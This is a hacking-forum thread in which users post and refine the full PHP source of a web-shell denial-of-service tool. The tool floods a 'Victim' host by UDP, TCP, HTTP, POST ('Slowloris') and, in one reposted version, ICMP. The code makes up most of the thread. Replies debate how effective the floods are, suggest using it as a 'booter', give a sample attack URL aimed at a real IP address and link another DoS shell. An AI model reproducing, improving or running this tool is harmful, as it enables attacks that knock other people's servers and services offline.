Forum:Hack Forums

Thread: Drk's MultiShell(UDP/TCP/HTTP/Slowloris) (MultiSocket)

drkshotz - *December 11, 2010, 4:27 pm*

Drk's MultiShell
[img]http://img528.imageshack.us/img528/8172/capturehrk.png[/img]

Hello everyone and welcome to my thread. I said this was my project today and I accomplished it.
Code <title> DrkShotz MultiShell </title>

```
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>

<?php

/**
 * @author DrkShotz
 * @copyright 2010
 */

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    $ip = $_GET['host'];
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
```

```
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
  '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
  'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
  'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
  $out .= $out[rand(0, $length)];
}

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  if ($dostype == '2')
{
$floodtype = 'TCP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
  '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
  'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
  'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
  $out .= $out[rand(0, $length)];
}
```

```
while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  if ($dostype == '3')
  {
$floodtype = 'HTTP';
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Accept: */*\r\n";
  {

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen($ip, 80, $errno, $errstr, 150);
  if ($fp)
```

```
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  }
  ;

  if ($dostype == '4')
  {
$floodtype = 'Slowloris';
$out = "POST / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Content-Length: 1\r\n\r\n";
$out .= "X";
while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;

  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen($ip, 80, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  echo 'DrkShotz MultiShell';
  echo '<form action=? method=GET>
  <input type="hidden" name="dos" value="true">
  Victim: <br><input type=text name=host value=><br>
  Port: <br><input type=text name=port value=><br>
```

```
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

 } else
 {
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    Victim: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
 }
 ;

 ?>
 </center>
 </body>
 </html>
```

Uncomplicated - *December 11, 2010, 4:30 pm*

Nice GUI dude. I already have the skeleton script of your release I guess.

drkshotz - *December 11, 2010, 4:31 pm*

(Dec 11, 2010 05:30 PM)uncomplicated Wrote: *[CITE]* Nice GUI dude. I already have the skeleton script of your release I guess.

thanks for the comment. and the skeleton script??

K1N6Z - *December 11, 2010, 4:32 pm*

Nice. Will PM you if I could get a copy in a bit.

justdiespawn - *December 11, 2010, 4:33 pm*
GUI looks pretty nice, looks like a good shell.

tsiba - *December 11, 2010, 4:35 pm*
Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S

drkshotz - *December 11, 2010, 4:36 pm*
(Dec 11, 2010 05:35 PM)tsiba Wrote: *[CITE]* Umm i got a +3 rep but i didn't reach 100 posts may i have it or i should get more posts ? :S
ill give it to u just pm me :)

I just posted the source. just say thanks people :)

Uncomplicated - *December 11, 2010, 4:39 pm*
Just a theory:

I think webs-ervers must have developed immunity to

PHP Code
```
<?php
for ($i = 0; $i < 65000; $i++)
  {
    $out .= 'X';
  }
```

So we should do something like

PHP Code
```
<?php
$twister=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
        $length=count($twister)-1;
        for($i=0;$i<65000;$i++)
            {
                $out .= $twister[rand(0,$length)];
            }
```

BTW, nice release mate :

K1N6Z - *December 11, 2010, 4:46 pm*
Thanks, will take a look at it when im in my free time.

Eight - *December 11, 2010, 4:57 pm*
Thanks for the share. I have one question though, why do you guys do :
PHP Code
```
<?php
while(1)
{
if(time() > $max_time) break;
}
```
Instead of :
PHP Code
```
<?php
```

while(time() < $max_time)
{

}
? Is there a difference in execution time or something ?

Uncomplicated - *December 11, 2010, 5:00 pm*
Maybe because they all rip off the same code released by someone old like ORGY ? ?

Orgy - *December 11, 2010, 5:04 pm*
Honestly, all of your code sucks.

UDP is just the same as all the other UDP, so I can't say too much.

Your TCP flood fails, because it tries to access all ports. The TCP handshake will only be completed if the port is accepting connections.

Your HTTP flood will only flood the index, which is usually not a very large page.

Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.

drkshotz - *December 11, 2010, 5:06 pm*
(Dec 11, 2010 05:57 PM)Eight Wrote: [CITE] Thanks for the share. I have one question though, why do you guys do :
PHP Code
<?php
while(1)
{
if(time() > $max_time) break;
}
Instead of :
PHP Code
<?php
while(time() < $max_time)
{

}
? Is there a difference in execution time or something ?
servers have some kind of set time for example some of them have 15 secs to dos all together. In other words the dos shell will not dos above 15 secs and if you try to exceed that then it will give an error like max time limit is 15 or something

Uncomplicated - *December 11, 2010, 5:07 pm*
Quote:Your slowloris will fail because it will only use up one socket at a time. Meaning it wont do shit.

Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.

Orgy - *December 11, 2010, 5:08 pm*
(Dec 11, 2010 06:07 PM)uncomplicated Wrote: [CITE] Agreed. Slowloris can not be detected in most general cases but will do no harm to a good server.
No, if done correctly, it will cleanly bring down a vulnerable server. But to do that, you have to take up all available sockets. One socket will not be NEAR enough.

Uncomplicated - *December 11, 2010, 5:11 pm*
(Dec 11, 2010 06:08 PM)Orgy Wrote: [CITE] No, if done correctly, it will cleanly bring down a vulnerable server. But to do that, you have to take up all available sockets. One socket will not be NEAR enough.
Ok, I get the idea . Thanks ?

I don't have something like VPS, couldn't do experimentation(s).

drkshotz - *December 11, 2010, 6:01 pm*
I added socket support :)

thedankestmeme - *December 11, 2010, 6:03 pm*
Slowloris is easily detected if you know what you're doing.

drkshotz - *December 11, 2010, 6:03 pm*
Any more suggestions please post em here

Mongrel - *December 11, 2010, 6:24 pm*
Tested this on a VPS.. seems strong.. and I like the multiple choice for the type of flood you're going to send.. nice job

drkshotz - *December 11, 2010, 6:26 pm*
(Dec 11, 2010 07:24 PM)nitrob Wrote: [CITE] Tested this on a VPS.. seems strong.. and I like the multiple choice for the type of flood you're going to send.. nice job
thanks for the comment. appreciated.

Mongrel - *December 11, 2010, 6:32 pm*
I have a suggestion.. Integrate it for multi booter use.. ;)

drkshotz - *December 11, 2010, 6:35 pm*
(Dec 11, 2010 07:32 PM)nitrob Wrote: [CITE] I have a suggestion.. Integrate it for multi booter use.. ;)
It already can be used for that :)
Code ?dos=true&host=64.186.134.176&port=43594&time=80&sockets=30&type=1
types:
Code 1 = udp
2 = tcp
3 = http
4 = slowloris
I think if not then ill just make a new multi-socket and multi-threaded booter once again. That may be my project for 2 morrow.

Mongrel - *December 11, 2010, 6:39 pm*
I might use it for exploitation.. @_@

drkshotz - *December 11, 2010, 6:43 pm*
(Dec 11, 2010 07:39 PM)nitrob Wrote: [CITE] I might use it for exploitation.. @_@
alright and nice on the php rat btw

Mongrel - *December 11, 2010, 6:50 pm*
It's still a project yet to be done.. I'm still confused on the functionality haha..

drkshotz - *December 11, 2010, 7:24 pm*
Use a get packet to execute the shell lol or just use a web browser

Orgy - *December 12, 2010, 7:31 am*
You realize your "added socket support" doesn't actually do much, right? It will still only consume one socket at a time.

thedankestmeme - *December 14, 2010, 10:01 pm*
(Dec 14, 2010 03:27 PM)DrkShotz Wrote: [CITE] Says the person with -10 rep. stop trashin my thread
WHAT THE FUCK IS WITH HF MEMBERS

If someone points out a flaw in your code you call it 'thread trashing' and disregard it.

If someone calls you an idiot you call them a troll and disregard it.

Why can't you people just accept that maybe:Their code sucks and they need to improve it, instead of sitting around and ignoring the fact that all code needs improving no matter what, like an ignorant fuckhead.

They might actually be an idiot, and they need to work on it instead of being an ignorant fuckhead.

Jeez.

Fizzix - *December 14, 2010, 10:22 pm*
(Dec 14, 2010 11:01 PM)manipulate Wrote: [CITE] WHAT THE FUCK IS WITH HF MEMBERS

If someone points out a flaw in your code you call it 'thread trashing' and disregard it.

If someone calls you an idiot you call them a troll and disregard it.

Why can't you people just accept that maybe:Their code sucks and they need to improve it, instead of sitting around and ignoring the fact that all code needs improving no matter what, like an ignorant fuckhead.

They might actually be an idiot, and they need to work on it instead of being an ignorant fuckhead.

Jeez.
Bookmarking this, so I can quote it...

thedankestmeme - *December 14, 2010, 10:24 pm*
(Dec 14, 2010 11:22 PM)Fizzix Wrote: [CITE] Bookmarking this, so I can quote it...
Love you too, baby gurl <3

weedman - *December 15, 2010, 1:19 am*
Nice share, i will kinda test this.

saifix_ - *December 15, 2010, 5:56 am*
I have no idea why my post was deleted but: haven't you ever heard of select(...)?

Orgy - *December 15, 2010, 6:41 am*
Your thread title says "multisocket"

I see that it still only consumes one socket at a time.

unknown123456 - *December 16, 2010, 9:31 am*

my improvements:

```
Code <title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>

<?php
function ping($host, $timeout = 1) {
    /* ICMP ping packet with a pre-calculated checksum */
    $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
    $socket  = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' =>
0));
    socket_connect($socket, $host, null);

    $ts = microtime(true);
    socket_send($socket, $package, strLen($package), 0);
    if (socket_read($socket, 255))
    $result = microtime(true) - $ts;
    else    $result = false;
    socket_close($socket);

    return $result;
  }
/**
* @author DrkShotz
* @copyright 2010
*/

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    if(strstr($_GET['host'],"www")) {

    $ip = gethostbyname($_GET['host']);
```

```
} else {
 $ip = $_GET['host'];
}
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;
```

```
  if ($dostype == '2')
{
$floodtype = 'TCP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
  '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
  'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
  'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
  $out .= $out[rand(0, $length)];
}

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  if ($dostype == '3')
  {
$floodtype = 'HTTP';
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Accept: */*\r\n";
  {

while (1)
{
  if (time() > $max_time)
```

```
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen($ip, 80, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  }
  ;

  if ($dostype == '4')
  {
$floodtype = 'Slowloris';
$out = "POST / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Content-Length: 1\r\n\r\n";
$out .= "X";
while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;

  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen($ip, 80, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);
```

```
    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

if ($dostype == '5')
    {
  $floodtype = 'ICMP';

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

 ping($ip,500);
    $packets++;

    }
  }
    }
    ;

    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
```

```
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

} else
{
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
}
;

?>
</center>
</body>
</html>
```

-icmp flood (i know its weak but you can check if the server is online (value=5))
-gethostbyaddress (checks if your host cotains www and changes the format to an ip adresse)

drkshotz - *December 16, 2010, 1:55 pm*

(Dec 16, 2010 10:31 AM)pcquad Wrote: [CITE] my improvements:
Code <title> DrkShotz MultiShell </title>

```
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
```

```
</style>

<?php
function ping($host, $timeout = 1) {
    /* ICMP ping packet with a pre-calculated checksum */
    $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
    $socket  = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' =>
0));
    socket_connect($socket, $host, null);

    $ts = microtime(true);
    socket_send($socket, $package, strLen($package), 0);
    if (socket_read($socket, 255))
    $result = microtime(true) - $ts;
    else    $result = false;
    socket_close($socket);

    return $result;
  }
/**
* @author DrkShotz
* @copyright 2010
*/

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    if(strstr($_GET['host'],"www")) {

    $ip = gethostbyname($_GET['host']);
} else {
 $ip = $_GET['host'];
}
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
```

```
for ($i = 0; $i < 65000; $i++)
{
  $out .= $out[rand(0, $length)];
}

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  if ($dostype == '2')
{
$floodtype = 'TCP';
$out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
  'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
  '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
  'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
  'Z');
$length = count($out) - 1;
for ($i = 0; $i < 65000; $i++)
{
  $out .= $out[rand(0, $length)];
}

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
```

```
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
  }
}
  }
  ;

  if ($dostype == '3')
  {
$floodtype = 'HTTP';
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: " . $ip . "\r\n";
$out .= "Accept: */*\r\n";
  {

while (1)
{
  if (time() > $max_time)
  {
  break;
  }
  ;
  for ($i = 0; $i < $socket; $i++)
  {
  if (time() > $max_time)
  {
  break;
  }
  ;

  $fp = fsockopen($ip, 80, $errno, $errstr, 150);
  if ($fp)
  {
  fwrite($fp, $out);

  fclose($fp);
  $packets++;
  }
```

```
    }
  }
    }
    }
    ;

    if ($dostype == '4')
    {
  $floodtype = 'Slowloris';
  $out = "POST / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Content-Length: 1\r\n\r\n";
  $out .= "X";
  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

if ($dostype == '5')
    {
  $floodtype = 'ICMP';

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
```

```
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

  ping($ip,500);
    $packets++;

    }
  }
    }
    ;

    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

} else
{
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
```

```
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
}
;

?>
</center>
</body>
</html>
```

-icmp flood (i know its weak but you can check if the server is online (value=5))
-gethostbyaddress (checks if your host cotains www and changes the format to an ip adresse)
thanks for the added flood :) Ill be sure to add this option to the client :)

Orgy - *December 16, 2010, 9:18 pm*
Problem with the icmp flood is that it requires root, not that OP would know that.

idoit4b - *December 17, 2010, 9:35 am*
lets share some shells heres one

http://xionsdos.p4o.net/

Serskoria - *December 18, 2010, 12:57 am*
Prety nice share :) :) Thanks :P

drkshotz - *December 18, 2010, 6:05 am*
(Dec 16, 2010 10:18 PM)Orgy Wrote: *[CITE]* Problem with the icmp flood is that it requires root, not that OP would know that.
For your info I never had experence with pinging in php

Orgy - *December 18, 2010, 8:17 am*
(Dec 18, 2010 07:05 AM)DrkShotz Wrote: *[CITE]* For your info I never had experence with pinging in php
Its not so much that its pinging, its that it requires a raw socket. Raw sockets require root.

Chad ThunderCock - *December 19, 2010, 5:35 pm*
does this work to DDOS websites?

Orgy - *December 21, 2010, 9:58 am*
Looking again, your slowloris isn't even slowloris. id be amazed if it worked at all

Ag3nt - *December 21, 2010, 10:01 am*
What will this be used like?
shell.php?act=phptoolshost=IP&port=PORT?

Coffin - *December 24, 2010, 12:12 pm*
can i get a copy? thanks :)

unknown123456 - *December 24, 2010, 3:09 pm*
(Dec 21, 2010 10:58 AM)Orgy Wrote: *[CITE]* Looking again, your slowloris isn't even slowloris. id be

amazed if it worked at all
well apperently it works , but i have the feeling that its not that strong like others :/

Orgy - *December 24, 2010, 4:18 pm*
(Dec 24, 2010 04:09 PM)pcquad Wrote: [CITE] well apperently it works , but i have the feeling that its not that strong like others :/
There's no way it works. It sends content. More than necessary, in fact. If anything, it's more of a TCP flood.

unknown123456 - *January 1, 2011, 8:36 am*
(Dec 24, 2010 05:18 PM)Orgy Wrote: [CITE] There's no way it works. It sends content. More than necessary, in fact. If anything, it's more of a TCP flood.
look at the code again, you will see he sends http requests , and like the principe of slowloris , it keeps the connection open, but the http request is not that what it should be if you understand what i mean...

xartermate - *October 23, 2011, 2:55 pm*
damm anyone got stuk on line 50 ?
got an error wen i flood the ip. i am starting with php now so i wold try to read the code.

Xepouhe - *October 24, 2011, 1:39 am*
The fourth is not slowloris, its just a simple POST flood, lol.

Good shell though.

drkshotz - *November 4, 2011, 7:26 pm*
(Oct 24, 2011 01:39 AM)Xepouhe Wrote: [CITE] The fourth is not slowloris, its just a simple POST flood, lol.

Good shell though.
thanks brah. I hope y'all enjoy it.